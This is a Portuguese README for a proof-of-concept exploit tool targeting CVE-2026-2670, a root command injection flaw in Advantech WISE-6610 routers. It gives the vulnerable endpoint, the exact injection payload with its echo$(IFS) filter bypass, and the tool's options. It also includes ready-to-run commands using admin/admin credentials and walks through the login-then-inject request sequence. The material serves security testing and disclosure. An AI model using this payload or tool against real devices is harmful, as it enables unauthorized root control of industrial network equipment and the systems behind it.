
Prova de conceito de exploit para CVE-2026-2670, uma vulnerabilidade de injeção de comandos em roteadores Advantech WISE-6610, que permite que atacantes autenticados executem comandos arbitrários com privilégios de root.
Prova de conceito de exploit demonstrando uma vulnerabilidade de injeção de comandos no roteador celular industrial Advantech WISE-6610.
A vulnerabilidade existe no endpoint /cgi-bin/luci/admin/openvpn_apply e permite que um atacante autenticado execute comandos arbitrários no sistema.
A interface web do WISE-6610 não sanitiza adequadamente o parâmetro delete_file ao processar exclusões de configuração OpenVPN.
Um atacante com credenciais válidas pode injetar comandos de shell usando um pipe (|) seguido de um comando e uma sequência de terminação echo$(IFS) para contornar a filtragem de entrada.
Os comandos injetados são executados com privilégios de root.
requestsInstale as dependências:
pip install requests
Opção Descrição
--target URL base do dispositivo (ex.: http://192.168.1.100:8444)
--cmd Comando a ser executado. Deve gravar a saída em um arquivo dentro da raiz web (ex.: id > output.txt)
--output Caminho web para o arquivo de saída (ex.: /output.txt). Deve corresponder ao nome de arquivo usado em --cmd
--cookie (Opcional) Valor existente do cookie de sessão sysauth
--username (Opcional) Nome de usuário para login
--password (Opcional) Senha para login
--delay Segundos de espera antes de recuperar a saída (padrão: 2)
--debug Habilita o registro detalhado de requisições/respostas
O script suporta dois métodos de autenticação:
Fornecer um cookie de sessão sysauth existente
Fazer login com nome de usuário e senha
Sintaxe Básica
python3 exploit.py --target <URL> --cmd <COMANDO> --output <CAMINHO_SAIDA> \
[--cookie <SYSCOOKIE> | --username <USUARIO> --password <SENHA>] \
[--delay <SEGUNDOS>] [--debug]
1️⃣ Usando um Cookie Pré-Autenticado
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
2️⃣ Fazendo Login com Credenciais
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
3️⃣ Com Saída de Depuração
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
Uma requisição GET é enviada para /cgi-bin/luci/ para obter o cookie luci_nonce necessário para a autenticação.
Se as credenciais forem fornecidas, o script envia uma requisição POST para /cgi-bin/luci/ com luci_username e luci_password para obter um cookie sysauth.
Se um cookie válido for fornecido via --cookie, esta etapa é ignorada.
Uma requisição POST é enviada para:
/cgi-bin/luci/admin/openvpn_apply
Com os seguintes parâmetros:
act=delete
delete_file=123123|<comando> echo$(IFS)
openvpn_id=1
A sequência echo$(IFS) ajuda a encerrar o comando injetado e contornar os filtros de entrada.
Após um curto atraso, o script tenta recuperar o arquivo gerado a partir do caminho especificado em --output.
Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados.
O uso não autorizado contra sistemas que você não possui ou para os quais não possui permissão explícita para testar é ilegal.
Os autores não assumem qualquer responsabilidade por uso indevido ou danos causados por este software.